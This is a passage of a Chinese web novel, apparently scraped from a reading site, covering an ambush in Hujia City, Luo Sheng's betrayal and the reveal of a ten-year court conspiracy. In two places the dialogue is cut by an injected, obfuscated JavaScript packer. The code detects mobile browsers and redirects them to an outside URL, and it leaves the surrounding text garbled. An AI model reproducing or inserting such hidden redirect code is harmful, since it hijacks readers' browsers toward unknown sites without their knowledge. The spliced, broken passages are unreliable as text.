“不过命运或许又会安排一些其他的故事来弥补呢？” “他走了？”显然这话现在黄清落是不信了，她不想再给自己任何希望了，倒不如就当他铁了心要去送死吧。 “嗯，现在应该已经出城了。” 凤漠宁看着黄清落有半天不说话，还以为她还沉浸在悲伤中难以自拔，怎不料这姑娘却比她想象中聪明。 “凤姐姐，既然胡笳城的事情处理的差不多，我想收拾收拾去马家了。” “你也要走？” “嗯，今天下午就走吧，能麻烦你书信一封给罗升说说这情况吧。” “呃，好。” 凤漠宁现在看着黄清落可算是明白了，为什么这样一朵小白花只能成为萧妖雪朋友，果然还是有过人之处的。 黄清落打点行囊的速度非常快，收拾完天都还大亮。向凤漠宁问清了路，便打算告辞了，黄清落本打算自己过去就行，可是凤漠宁说什么都不让她自己走，只说最近西域乱得很，最后还是安排了两个人跟着她。 这一路出城倒是畅通无阻，马家的位置在胡笳城更偏西的地方，按照凤漠宁的推测，黄清落他们应当在太阳落山前就可以到。 可是事实却并非如此，凤漠宁没想到眼看太阳快落山了，收到的不是黄清落快要到马家的消息，而是她在胡笳城中被追杀的消息。 听到了这件事情的第一时间，她就叫人快马加鞭去追李安国，只希望这对佳人不要再错过命运给的这次机会了。 至于黄清落这边的情况确实不容乐观，几人刚刚步入大漠就遇到一群劫匪，本以为是为了谋财而来，可是这才说了几句话，害命的目的就显而易见。 当时众人想着距离胡笳城不远，那边那便撤回城中，那两个随后从还担心黄清落的马术不行会被那群到飞追上，却没料到这马跑起来他们都有些追不上这位大小姐。 那群盗匪这一路过来也紧追不舍，黄清落虽然一路逃命过来，但是她隐隐觉得这群盗匪是在将他们往胡笳城赶。最终这群盗匪也是将他们紧紧逼到了城门口才散去，却在他们进城时，跟随黄清落两个随从的路引被扣下，只放了黄清落一人进城。 胡笳城作为西域要塞，盘查仔细一点自然是正常的，那两个随从也没多想便让黄清落先行回潇湘阁。却不料这时才是真正将黄清落置于了水深火热之中。 黄清落进了城，就觉得浑身不自在，好似有不少目光在暗处盯着自己，本来她知道有几条小路可以快速到达潇湘阁，她现在可是完全不敢走。 挑了一条大路，人潮涌动，黄清落心中才安稳了一些。 可是就在眼前的人刚好错开的时候，黄清落看到对面的走来一人正在怀里掏什么，虽然在大街上算不上奇怪的动作，但是第六感告诉黄清落，现在应该转转身！跑！ 果然当她丢了包裹，开始跑的时候，身后就传来路人的惊叫声，只是轻轻的一回头，她就看到刚刚那人正挥舞着一把匕首向自己追来。 看来现在这大路也不安全了这些人混进了人群，反而更危险，不知道迎面撞过来的是真的百姓，还是一个随时都会起杀心的疯子。毕竟这才跑饿了几步已经又出现了不少人开始对黄清落进行围追堵截。 看到一旁的小巷子，黄清落果断转了进去。 黄清落心想，这事出在这样的闹事，想必胡笳城的军队很快就注意到，她只要多坚持一下，她就不会有事。 这小巷七绕八拐的，黄清落来胡笳城的时间不长，再加之之前都是娇生惯养的大小姐，这跑了这么久已经是她的上限了，更别说现在她眼面前是一个死胡同。 刚刚逃命的时候摔了一个架子，暂时甩开了后面跟着的那些人，现在她绝对不能原路折返，那就是去送死，唯一的选择就是身旁的那个小院子。 这院子似乎已经很久没有人居住了，院中衣橱已经破败不堪完全不能藏人，看起来唯一可以躲藏的就是院中的一个水缸，这好似就是特意为此刻的黄清落准备的。 后面很快传来的脚步声，为首的那人，刚刚被黄清落推倒的架子砸了一脸灰，到了这个死胡同想都没想就推开这个院子的门，更是直奔那水缸而去。 跟随他身后的人也没有在院子中在寻找好像就是等着在那水缸里抓人一般，可是当水缸揭开的时候，众人才发现这里面空无一人。 “糟了！” 果然一回头黄清落从墙头翻到了外面的巷子里。 “小娘们，挺能跑。追！” 这会的黄清落才真的像是一只无头苍蝇开始乱撞了，那些追赶的他人，也不像之前有条不紊的围追堵截，大家在这巷子中见面真的全凭运气了。 就在黄清落眼前再度出现了一个分叉路口，她正琢磨走那边的时候，眼前终于出现了就行，凤漠宁带着潇湘阁的人出现在了她的面前。 黄清落悬着的心终于落下来，可是正当她要上前的时候，就看到凤漠宁表情一变，随即她的肩膀被一个大力控制，这手捏的她感觉的她的肩膀要碎了一般。之后就是一柄白刃架到了她的脖子上。 “都别动。”身后那人正是刚刚那个领头人。“哟凤楼主都亲自来了，小丫头你看起来很值钱呀。” 说话间刚刚散落在小巷中的这些杀手也聚集了过来，与潇湘阁的人针锋相对。 “谁派你们来的？”凤漠宁看着那发着白光的刀刃已经将黄清落的脖颈划出了一条红痕，当下也不敢轻举妄动。 “少废话，据我所知潇湘阁可是有钱的人，现在人在我手上，你们拿出五百两的银票来，我就放人。” “你说什么疯话呢，我们上哪给你找这么多钱？”凤漠宁身旁的纤红听了也是大怒。 “这我哪管得着，你看要外面这么大条街，你们这么多人，是去卖也好去抢也好，这办法不是多了去了。哈哈哈” “你！”众人听了只觉得心中那火窜着头顶就去了。 “别听他的，他就是有目的。”黄清落看着为难的凤漠宁叫道，她真怕凤漠宁情急之下做出什么傻事情来。 “哦？小姑娘刚刚在那小院子你就耍了我们一通，我还以为你是撞大运撞上的，看来是真的东西，那你就说说到底是怎么回事呀，让我听听你这小嘴里面能说出什么玩意来？” 黄清落看着这群人终于没有再纠结要那银票也是松了一口。 “城外那群劫匪也是你们的人吧？” “是。” “进城把跟着我那两人拦下也是你们的一步？” “不错。” “刚刚在巷子里你们也是故意把我逼到那个院子里，就希望我躲在那水缸里，你们就可以抓到了我了。” “聪明，那你说说我做这些都是为了什么？” “为了什么？你现在不杀我，还愿意听我在废话，你！” “哈哈哈，看来你是看出来，那不如猜猜我们是在等谁呢？” “你休想，他一定不会来。” 在这胡笳城黄清落认识的人屈指可数，凤漠宁已经带着潇湘阁的人站在对面了，显然不是他们，那么剩下唯一的可能性只有李安国。 现在黄清落心中只能不断乞求，李安国的心一定要再铁一点，千万不要回来。 “我看未必。” 正说着身后就传来一阵打斗声，他的那些手下很快就被撩翻在地，凤漠宁也趁着大汉走神，长鞭一挑直接抹了他的双眼，这人吃痛了也顾上手上的人质，黄清落这才闪身来到凤漠宁的身边。 而这时她也看到刚刚身后来救场的人，本以为会是官家的人，但是看了一圈，来的人只有一个，不过在黄清落心里有这一人足以。 “安国！” 李安国此时正手持长剑抹了一个人的脖子，鲜血溅了他满脸都是，但是当他的目光与黄清落碰触时还是少了一分残忍，多了一分温柔。 这一眼对视，黄清落撑了一下午的眼泪又忍不住开始往下落了，她现在心中百感交集，李安国回来了，这是她一直期望的，但是他现在回来却并不是黄清落想看到的场景。 城中出了这么大的事，官兵也很快赶到了，那些杀手看到兵来了，也不恋战，丢盔弃甲就跑了。 而这带队的并不是别人，正是罗升。 罗升看着一片狼籍的小巷，已经满身是血的李安国，对着他和黄清落使了个眼色，示意他们一边说话，然后又安排了手下把这里收拾了，本意是让凤漠宁先回潇湘阁却不料她怎么也不走，罗升也没办法，就只有让她在一旁等着。 “李兄，你没事吧？你不是已经走了吗？怎么又回来了？” “没事，这些人还不足以伤我。走到半路听说胡笳城出事了，这才赶回来的。” “没事就好，李兄你的事情我也听说了，这外面现在可都在找你，要我说你还是留在胡笳城的好。至少凤楼主和我都不会把你的身份说去，都说君子报仇十年不晚，你说是吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132967|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “清落经历了这些事情，我自然不会让她一个人了，但是之后怎么安排，我还要再想想。” “是呀，清落还好你今天没有受伤，不然我恐怕要遭老罪了。清落？” 罗升看着清落一脸呆滞，好像完全没有在听他说的意思，不禁又叫了一声，可是依然无人回应。 “清落？”李安国也注意到黄清落的异样，用手推了推她。黄清落这才像突然被叫醒一样。从自己的思绪中醒过来。 “啊？我没大碍。对了罗大人我有一件事想问你。” “但说无妨。” “李公子说他是从城外的赶回来的，为何还会比你先到？” “哈哈哈，清落你这是在责备我来慢了？李兄就一个人说走就走，我这还要召集人马，当然会耽搁一阵。” “哦，是这样呀，那是我考虑不周了。” 可是说完这话，罗升再看黄清落依然一副愁眉不展的模样，当下眸子不由得暗了一下，但是也没有再多说什么。 “不过清落姑娘确实好胆量，刚刚那样情形还能临危不惧。” “罗大人过奖了，我累了，李公子我们先回去吧。” 罗升大抵是这一路过来都是当李安国的副手当惯了，这会走路也自然而然的跟在李安国身后，黄清落也是步子小，脚步上落着李安国半步。 眼见转过前面那个弯就到大路了，黄清落却突然听到身后有拔剑的声音，这回身体快于脑子，她一闪身就到了李安国身后，而那本应该直接刺入李安国心脏那一剑刺进了黄清落的肩膀。 李安国也听到了身后的动静，转身就看到罗升的剑正在从黄清落肩头拔出。而黄清落原本今日就已经受到了不小的惊吓，这一剑下去，直接就晕了过去。 李安国一把抱住黄清落，用手按住她那不断往外冒血的伤口，看着她的脸越来越白，他的眼睛也越来越红。 “罗升你干什么！” 可是罗升根本没有回李安国的话，他自认刚刚出刀的速度已经很快，李安国一个久经沙场的人都没有反应过来，黄清落竟然能更快的反应过来，还能替李安国挨这一刀，这完全在罗升的预料之外，这唯一可以解释的就是，黄清落早就预料到他的计划。 那这又是什么时候呢，现在看来只怕是刚刚她那个问题根本不是责备而是怀疑。 罗升的脑袋也是转得飞快，他本意不想伤害黄清落，但是既然她要自己贴上来，罗升也没有什么怜香惜玉的道理，黄清落死不死不重要，重要的是李安国今天一定要死，所以就在电光火石之间罗升又递出一剑这一剑同样是奔着李安国要害去的。 李安国的剑刚刚担心吓到黄清落已经拿给潇湘阁的人拿着了，现在赤手空拳，他就只能往后躲，但是又担心自己后退了，罗升又会再次伤害黄清落。 只能抬手握剑，顿时鲜红的血液就从掌心落下，正巧滴在二人中间的黄清落身上。 就在李、罗二人僵持之际，只听噗呲一声，罗升的胸前出现了一柄剑，这剑不是横在他胸前而是刺穿了他的胸膛。 罗升低头看向那柄剑，这剑很是奇特，好像是由碎片拼接而成。 “罗大人，把螳螂捕蝉，黄雀在后玩的很不错，可惜了你却不知道这黄鹊身后还有不少捕鸟人。” 周钦德小记： 江冬藏竟然敢当面说出这事，群臣震惊，但是更让他们震惊的是接下来出现在朝堂上的这一群人。 这些人看起来都是年过半百，满头华发，带着他们上殿的正是这几日将军阁苦苦寻找的徐战。 “太子殿下，我们冤呐！” 这群人来了才停下脚步就开始喊冤，顿时这大殿之上乱成了一锅粥。 “肃静！” 终于又回到这大殿又回到落针可闻。 这是这群老人中终于站出了一人，此人正是之前荷县的县尉侯涛。 “臣侯涛见过太子殿下，我等皆是被单骁所害，家破人亡远走他乡。之前单将军怀疑我等贪墨银两便派人来查，可是我怎知道来的人根本不是查案，其中有一人当夜就对了我下了死手，好在德王殿下谋划在先，这才让我躲过一劫，德王这是我的任命官文，请太子殿下过目。” 侯涛拿出了这官文，身后的那些人也纷纷递出官文。 “江冬藏你看看吧。” 萧云雁趁着查验官文的时候说道：“奴家也可以证明，当时我与胡铭、段天行一同前往荷县便是调查这位侯大人，可是段天行却先行将他斩杀。却不料之后朝廷竟然还能再处斩一位侯大人，我也很是疑惑。” “就算如此，那也不过是将军阁瞒天过海，这与我又有何关系？”单骁终于是忍不住了，开口说道。 “当然又关系，想必刑案司自检一下就知道，这里面单将军动了多少手脚了。”周钦德见到单骁开口，自然不会放过这机会，这一句话就断了他的后路。 而此时却无人注意到眼前的周钦铭脸色也是一阵青一阵白的，单骁他还没有人尽其用，周钦德这样就一箭双雕，多少让他这太子有些为难了。 69. 西域谜云3 随着罗升眼中的生机逐渐流逝，身体缓缓的向一边倒去，李安国终于看见了这位捕雀人。 此时的萧妖雪与李安国在京都中朝夕相处的那位好妹妹看起来毫无差别，只是不知道是因为现在李安国的心境改变的，还是今日经历了这么多事情，他有些累了，他现在看到萧妖雪只觉得自己对于眼前这位姑娘看起来分外陌生，甚至在看到罗升倒下后，萧妖雪眼中闪过的那一股寒芒，让李安国觉得后背发凉。 “凤楼主，快带他们去医馆。” 萧妖雪也不顾一脸复杂的看着自己的李安国，而是急忙上前检查躺在地上的黄清落的情况。 好在这一剑虽然下手很重，但是没有伤及要害，萧妖雪不敢想若是黄清落没有替李安国挡这一剑恐怕现在谁在这的已经是一具冰冷的尸体。 潇湘阁人急忙来将黄清落抬走，又簇拥着李安国去医馆，李安国走的时候犹豫不定，回头看了三次萧妖雪，却说不出一句话。 “妖雪，你回来了。”凤漠宁来到萧妖雪身边，这段时间的事情作为潇湘阁的阁主，她自然知道听得七七八八。 虽然她知道这位名义上的令史功夫不错，也算是老谋深算了，但是莲座镇之事连云阁都已经插手，最后烧得一个人都不剩了，这恐怕不会在这位令史的预料之内。 “凤楼主，这段时间多谢了。” “这都是小事，妖雪你这次来这便是为了云阁的辩武大会？” “这里不是说话的地方，去楼里吧。” 李安国和黄清落被顺利的送到了医馆，李安国不过是手上拉了一条口子，算不上什么很重的伤，很快就包扎好了。相比之下黄清落这边的情况就更糟糕了，伤口很深，黄清落也并非习武之人，虽然没有伤及要害，但是流了这么多血，人也是会撑不住的。 这医馆里的大夫忙活了大半天，终于把她的血给止住了，但是人还是在昏迷不醒的。 李安国进去看黄清落的时候，她已经不像刚刚受伤时那样面色惨白，此时可以说面如灰土，嘴唇干裂，眉头紧皱似乎在忍受很大的痛苦。李安国再伸手探了一下她的额头，那温度热得吓人。 李安国从一旁拿来了水，寻思给她喂点，可是却一口都喂不进去。虽然此时李安国脑中也想过那些话本中写的这时应该嘴对嘴的喂进去，可是经历过这么多场战争的，见过这么多重伤的士兵的李安国又何尝不知道，这水是根本喂不进去的，就算真的渡过去了，她也咽不下去。 无奈之后用干净的帕子沾湿不断轻轻的擦拭黄清落的嘴角，终于这嘴唇恢复了湿润，黄清落的脸色也不再那么难看了。 李安国看着床上的黄清落心中说不出的滋味，他现在逐渐冷静下来，心中便弥漫了起了愧疚，其实他们说得都对，自己就算真的到了京都，除了能被一网打净，真的没有什么其他的作用了。 若不是自己执意要走，或许今日的事情就不会这样了…… 李安国的想得入神，就连身后有人推门进来，他都没有注意到，直到身后的人发话了，才吓得他突然回神，这才发现不知什么时候他已经紧紧握住了黄清落的手。 “李公子，我们谈谈吧。” 李安国心想多么陌生的称呼，这好像是萧妖雪第一次这样称呼自己，看来她早就知道了。 “好。” 李安国细心的把黄清落的手放回被子里，目光又恋恋不舍的在她的脸上的停留了好久，似乎希望能看到悠悠转醒，可是直到李安国跟随着萧妖雪离开了房间，黄清落依旧一动不动。 二人在潇湘阁里寻了一间雅间，落座后李安国却一言不发萧妖雪知道他在等一个解释。 “事情，凤楼主应该都已经和你说了，那我也不多重复。” “这自始至终都是你的安排，是吗？” “若是我说不是你会信吗？所以不妨先听我讲个故事吧。” 李安国不语，现在黄清落还没有醒，他也哪里都去不了，他有的是时间在这里听她编故事。 萧妖雪也看出了李安国眼中的不屑，但是她觉得这个故事李安国应该彻头彻尾的知道，而不是这样像当年的袁墨袁梅那样揣着恨意活下去。 盛元四年梅家千金梅正源，与鬼月的一个小吏发生了冲突，后来钱得仕借题发挥，崔伦中饱私囊又栽赃嫁祸，鬼月背上了暗通敌国，欺君罔上、卖主求荣的莫须有的罪名。 圣人与鬼月首领袁清是多年的好友，又怎么会不知道这其中的道理，不过是有人看着鬼月这块肥肉眼红了，但是就算周钦德当时已经贵为圣人，但是众口悠悠他实在是堵不住。 最后袁清亲自到了宫中向圣人请罪。 “朕是天子，难道还护不住你一个人？” 周钦德第一次感到这么无助，就算他是圣人，就算他知道错不在袁清，但是他现在能做的也不过是给袁清找一个替死鬼，然后让他远走他乡，却不能还他一份清白。 “陛下，正是因为你是天子，你是圣人，所以你不能再护我了。” 袁清看着周钦德还是一脸不甘，但是现在已经不是犹豫的时候了。袁清接着说道：“陛下，我跟了你这么多年，我知道你是一位好的君王，东梁能有今天这样长治久安，离不开你的经营，所以我希望你继续做他们臣子中的圣人，不要因为我，而耽误了东梁。” “你打算怎么做袁清？”袁清说的道理周钦德又何尝不知道，但是他是圣人，他也是人，他的心也是肉做的。他知道袁清向来有不少好主意，所以他希望今天袁清可以说一个两全其美的解决方法。 “陛下，你还记得原来我们小的时候会玩捉迷藏吗？那时候陛下当鬼的时候可是一次都没有找到我。所以这次我们也来玩一次抓鬼游戏吧。” “你当真想好了？” “不错请陛下下诏，捉拿鬼月余党，这次一定要声势浩大，就看看我能多久，还是说陛下还是一无所获。” “袁清，都这时候了。” “谢陛下成全。”说着袁清就跪下去给周钦德深深的磕了一个头。这是袁清第一次给周钦德磕头，这也是第一次两个大男人落泪，却没有一个看见。 周钦德的泪水，顺着面颊流下，最后被他一把擦得抛到了身后，袁清的则是滴落在一片阴影的地面，在第二日阳光升起时已经不见了踪影。 在此之后，周钦德派出去寻找鬼月的人马历经月余的搜查都是无功而返，这时另外一伙贪图鬼月的人终于把目光投到了当时的李治身上，他们知道李治与鬼月当年有些交情，这段时间虽然圣人下令搜查鬼月，但是李治却从未插手，怀疑的种子开始生根发芽。 当时的李治还不是现在这一人之下，万人之上的宰相，他只是一个脑子转得比较快的尚书，不过也很快注意到了那些虎豹不善的目光。 当时李治的妻子张清，每日都要等到深夜睡梦之中，才感受到李治轻声上床睡觉，至于在此之前，这位尚书都在府邸的地下，同一群人密谈。 为首的正是袁清，袁清知道了最近朝廷中对于李治的怀疑，也知道自己再仰仗李治躲藏已经不是一个好的方法，而且这样恐怕以后自己落网了以后，李家还会受到牵连，最终二人商议后之后想出了一条残忍但是终将铸造辉煌的方法。 袁清设计刺杀李治一家，但是最后只是牺牲了李治的女儿，李治以此为由参与到捉拿鬼月的行列中。袁清也会心甘情愿将自己的头颅送给李治，助他一步登天。 虽然李治已经答应愿意牺牲自己的女儿，可是袁清已经思索后，只是不希望波及无辜之人，于是暗中联系了萧云雁，让她出面救下李婉，但是为了保证后续计划的进行，李婉也不能再出现在京都了。 至于袁清也有一双子女，他知道今日他们所做的事情是要骗过这天下，所以他的子女，日后定然会要回到京都为当年的事情讨回公道，那时候周钦德一定会尽全力的帮助他们。 而他们最终复仇的对象也会是李、袁二人早就确定好的日后一定会一步登天的李治。 要不说这二人谋划确实高明，之后的的事情竟然还真的按着他们的计划有条不紊的进行，鬼月的人被捕后，周钦德连夜召见了这最大的功臣李治。 二人密谈一夜后，李治也是将他们的谋划全盘托出，还和周钦德做了一笔交易。 只要圣人愿意帮他们按照这个计划进行，李治功成身退之时愿意和袁清一样，把自己作为一份大礼送给将来要继承皇位的皇子，破获旧年大案，替父谢罪，只要这位皇子可以做到，那他也有资格成为这东梁未来的圣人。 如今时候已经到了，一切依然是按照李治的计划有条不紊的进行，只差最后一步，他和袁清就可以真正的的功成身退了。 李安国听完后，陷入了深深的沉默，萧妖雪并没有开口催促，反而是看着自己茶水发呆，想当初自己听到这个故事的也不比李安国的震惊小，这长达十年的戏份终于要落幕，只是为了一个莫须有的罪行，耗费了两代人的心血，现在想来竟然有些可笑。 “所以这一切都是父亲安排的？”李安国说出这话的时候自己都有些想笑。 “不错，当时本来朝廷并不想让你来西域，是李大人深夜进宫面圣求来的。” “那你呢？你到底是谁？” “我？”萧妖雪没想到李安国最后的问题还是回到了自己身上。“我希望我永远是李婉，可是现在已经不是了，不能是了，永远都不可能了。” “所以这么多年，父亲一直知道你活得好好的，就算母亲也为了这件事抑郁而终，他也不肯说是吗？难怪这些年那些登门认亲的女孩，王氏无一例外地拒绝了，原来他一直知道你在哪。” “兄长……”萧妖雪看着李安国现在的状态，不由得有些心疼，是呀自己当时懵懵懂懂一走了之，可是李安国可是看着妹妹遇刺身亡，母亲抑郁而终，父亲竟然还认了一个只见过一面的青楼女子为女儿。 “妖雪，我好像明白了当年的你感觉了。” “兄长，现在还不是颓废的时候。” 今日李安国入耳都是李公子，如今听到兄长这个称呼，眼睛竟然有些酸了。 “妖雪……” “清落重伤，罗升倒戈，江秋鸿向来与李治不对付，这次她知道了李治倒台，而你在胡笳城中，恐怕是不会轻易放过你。我明日就去和她谈判，若是能争取到清落情况稳定，你们就立刻离开胡笳城去武清宗也好，去马家也罢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143976|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “江城主对于父亲的敌意也是因为鬼月吧？那不如？” “不行！这件事情不需要这么多人知道，这是父亲的嘱咐。” “父亲，还真是无私呀。” “心怀江湖道义的人，就算被庙堂打磨这么多年，有些东西也是不会变的。” “道义，好一个道义。当年袁清如此，如今父亲也如此。真是好一个道义。”李安国说着便起身离开了，脚步有些轻飘飘的向着门口走去。 李安国离开了房间，只留下一句长叹。 “妖雪，你要查的东西查到了。” 李安国刚走没多久，凤漠宁便进来了。 “怎么说？” “罗升虽然是李安国临时决定带着离京的，但是他在途中收到了一封密信，查了一圈你猜是谁？” “徐战？” “真是无趣，你既然知道了就不必再问我了呀。” 萧妖雪直接道出了结果，凤漠宁难免觉得有些无趣。 “除了他，我也想不出还有谁希望李安国这样毫无声息的死在外面了。” “这又是为什么？”凤漠宁其实知道是徐战的时候挺震惊，可是现在看着萧妖雪一副预料之中的模样，难免多了几分好奇。 “其实李治倒台，不少人都希望李安国死，但是换做周明启和周明志当然是希望李安国死于法理之下，死于京都。之前便听说徐战和周明启已经闹翻了，徐战定然会不惜一切代价阻止京都中两位皇子的动作，而李安国又必须死，所以他只能死在外面。” “徐战这是和京都中的各位皇子作对，他这是要？！” 凤漠宁听得有些不明白了，徐战为臣，但是他这样的心思显然没有站京都中那几位皇子任何一队。 “徐战跟着周钦德闯荡了半辈子，周钦德这几个儿子恐怕是入不了他的眼。好了凤楼主，现在不是说这个问题的时候。” “好吧好吧，真搞不明白你们这些人满脑子都在想什么。喏，给你拿到了。” 说着凤漠宁给她递过一个拜帖，表面只有两个力透纸背的大字，写着云阁。 “真是多谢了。” “诶，说谢妖雪你可就生分了，你又不是不知道我们潇湘阁要怎么谢。” “这怎么会少了你呢。” 萧妖雪无奈的一笑，但是并没有像凤漠宁预料的那样掏出一锭金银。 “嗯？怎么就嘴上表示？”凤漠宁有些意外，之前和萧妖雪做过几次生意，凤漠宁觉得这姑娘倒是实在，难道这次还真是受到了李家的影响？ 想到这凤漠宁急忙改口道：“那个，妖雪，要是现在没有也可以的，咱们都是为了……” 可是话还没说完，就被萧妖雪打断了。 “我不是这个意思，我定然不会拖欠，这谢礼我还真的准备了。你说一个夜明珠，和一个沈轻离如何？” “轻离要来胡笳了？” 果然凤漠宁相比于夜明珠还是更喜欢沈轻离。 之前在潇湘谷的时候就听文妆说他们二人早年是很好很好的朋友，怎奈何这么多年两人相隔千里，如今有了这机会能再见面确实激动人心。 “京都的事情解决了，应该过不了几天就到了。” “妖雪，以后你就是我亲妹妹。” 凤漠宁心情舒畅，上前就给了萧妖雪一个大大的拥抱。 “诶对了，你说还有颗夜明珠，那是什么？” 凤漠宁自己激动了半天终于冷静下来，这才想到萧妖雪刚刚还说了一样东西。 “胡笳城那颗如何？” “什么？” 东梁小记： 自从那场惊心动魄的当朝对峙之后，单骁被软禁在了家中静待调查，将军阁被查封，几个主事人也悉数被抓。 江冬藏奉命彻查将军阁和单骁，他们中那些见不得人的勾当也很快浮出了水面。最终单骁被以结党营私，图谋不轨的罪名问斩于午门之前。 袁清和徐战则负责将之前这些大人送回他们原本任职的地方，经过刑案司的调查这些和大人才是东梁真正最清明的，他们为了那些个小地方忙碌了半辈子，还算好遇上了周钦德不然真的是天大的冤案了。 德王周钦德这次可算是立了大功，自然是赏赐万千。虽然太子殿下不大乐意，但是还是准许了周钦德面见了圣人，圣人见到许久未见的儿子，心中快活，这几天病情竟然出人预料的好转了不少。 萧云雁也是如愿第二次再见到了太子周钦铭，以及周钦铭的妻子萧宁，亦是潇湘阁的现任少阁主。 这次萧云雁将之前单骁同自己说的一字不落的全部告诉了二人，单骁的野心也成为了周钦铭决定铲除他的决定一步。 好在萧云雁这次在朝堂上是完完全全现在了周钦德一边，二人但是对于她的忠心没有再怀疑。 至于江湖上的事情，众人没有多在意，之前武清与周钦德分开关押，单骁落马后，武清便没了消息。萧云雁也派人去打探过，只说这小子找了个小地方开了一家茶馆，似乎打算就此隐退江湖了。 原以为这一切就可以这样平静的落幕，却不知道周钦德这一次虽然铲除了奸臣单骁，却也在周钦铭的心里埋下了忌惮的种子。 70. 西域谜云4 之后的几天胡笳城安静的就像一潭深山中的湖水，没有一丝波澜。 罗升的死军营中无人叫嚷，江秋鸿明知李治的儿子胡笳城却没有出手，黄清落依旧是没有一丝的清醒的意思。 但是所有人都能感觉到，在这潭水地并不是那么平静，可是也无人有这胆量打破这潭死水。 直到第三日的清晨，昏迷了三日的黄清落眼皮终于颤动了一下，迎着清晨的阳光，她再一次醒来。 目光所及之处，黄清落看得出是她之前在潇湘阁住的那间房间，而当目光移到了床榻边上，她便看到少年正侧枕在床边，睫毛在脸上撒下了一片阴影，而这干净的脸上，除了这片阴影，那便是他眉心拧起来的皱纹。 黄清落看着心中不是滋味，便想伸手将它抚平，这时才发现，她的手一直被一只大手握住，或许是这屋内无人，或许是患难见真情，李安国握住她的手一直没有松开。也不再避讳什么男女授受不清，心中只有无尽的担忧。 似乎是感受黄清落的小动作，李安国猛的就从睡梦中醒来，睁眼便撞上黄清落的眸子，李安国似乎还有些难以置信，揉了揉眼睛，这才跳了起来。 “大夫！大夫！清落醒了！”李安国可一刻都不敢耽误，急忙叫来大夫，生怕黄清落又这样没声没息的又晕过去。 终于经过大夫的诊断确定了黄清落并无大碍，李安国这几日悬着的心才算放下来。 送走了大夫，这房中又剩下他们二人，李安国自然的坐到黄清落床边，虽然大夫说了黄清落现在已经没有大碍，但是李安国无论是喂她喝水吃饭，都是轻手轻脚，更别说他这全程还一句话都不说，弄得黄清落都有些不自在了。 “李公子，其实我可以自己来……” 黄清落看着李安国又端着水碗给她喂水，不由得有些拒绝，抬手就要去接水碗，可是她还是低估了她的伤口，手刚一动，难免牵扯到了肩膀上的伤口，黄清落顿时吸了口冷气。 “扯到伤口了？别动！我看看。” 说着李安国就去拉黄清落的衣服，虽然黄清落大概也猜到可能自己昏迷的这几天伤口都是李安国在处理，但是现在她可是醒着的，难免不好意思了，下意识的就往床里面一缩，李安国也扑了个空。 “那个……没有，就是有点痛。把水给我吧，我要喝水。”黄清落也感受到气氛变得有些怪怪的，急忙开口道。 “哦。”这次李安国倒是没有再纠结，黄清落也小心翼翼的抬手，避免再牵扯到伤口。 看着黄清落喝完了水，李安国很自然的就接过了水碗，放到了一边。然后就在黄清落毫无防备的情况下，跪了下去。 “李公子！你干什么！”他这一动作吓得黄清落都要站起来了，好在李安国一把又把她按了回去。 “清落，对不起。” “那个，李公子你别这样，你快起来。”现在李安国虽然是跪着，但是还按着黄清落的手上的劲是一点都没有少。 这让黄清落想把他拉起来，都做不到。 黄清落挣扎了几次无果后，也算是明白了君子为什么动口不动手了，无奈的说道：“那个李公子，我没有怪过你。” “为什么？” “什么为什么？”面对李安国突如其来的提问，黄清落顿时人就懵了，什么为什么，这还要问为什么，这话本里面不都这样说的吗，然后他就起来了给自己一个拥抱不就解决了，他为什么还要问为什么？ “我那么任性，谁的话都不听就离开了，这才害得你身处险境，最后还替我挡了刀，受了这么重的伤，昏迷了这么多天。你为什么不怪我？” “因为，你走是人之常情，李大人是你父亲，你乍然知道这件事，还能漠不关心，那才是我黄清落看走了眼。再说了罗升这么做一看就是早有预谋，就算你不走他也会有其他的办法，所以我不怪你。现在你可以起来了吗？” 黄清落这话要是放平常定然是骂出来了，但是她现在完全没有这力气，反倒是这柔软的声音就像一条潺潺的小溪就这样循着缝隙流进了李安国内心的缝隙之中。 李安国没有再说什么，黄清落也终于等到了画本中那个拥抱，她终于明白为什么画本中那些主人公在这个时候会泪流满面，因为她想哭。她觉得李安国太惨了，她觉得劫后余生太好了，她觉得李安国抱着她压到伤口好痛。 可是她还是没有动，因为她感受到抱着自己的少年正在流泪，她不想看到少年脆弱的一面。 终于半晌李安国松开了她，但是再看向黄清落的一眼，他就看到她洁白的衣服上那一滩灼眼血迹。 “我去叫大夫。” “安国，等等，只是伤口裂开了，你帮我上点药包扎一下就好了。” 上次听到黄清落叫自己安国的时候还是在小巷子里打斗的时候，之后黄清落一直是礼貌的叫他李公子，刚刚要给她查看伤口，她还那么抗拒，现在终于放下芥蒂了吗。 李安国顿时觉得这几天的疲倦一扫而空，久久没有出现在脸上的笑容也回来不少。 “好！” 黄清落清醒的消息很快就传到了凤漠宁的耳中，可是这次她却没有着急过去，毕竟人就在潇湘阁里这几人都是在那守着她怎么会不知道，凤漠宁可不想去当这个坏人性子的人。 而且她现在面前还有更重要的事情她来做，她现在对面这两人便是落入这深潭另一颗石子。 “漠宁怎么了？” “嗯，今天真是双喜临门呀。轻离今晚我们一定要好好喝一杯。” “好！”不错正是之前的萧妖雪说的沈轻离和胡晓枭回到了胡笳城，现在正完好无缺的坐在凤漠宁对面喝着茶呢。 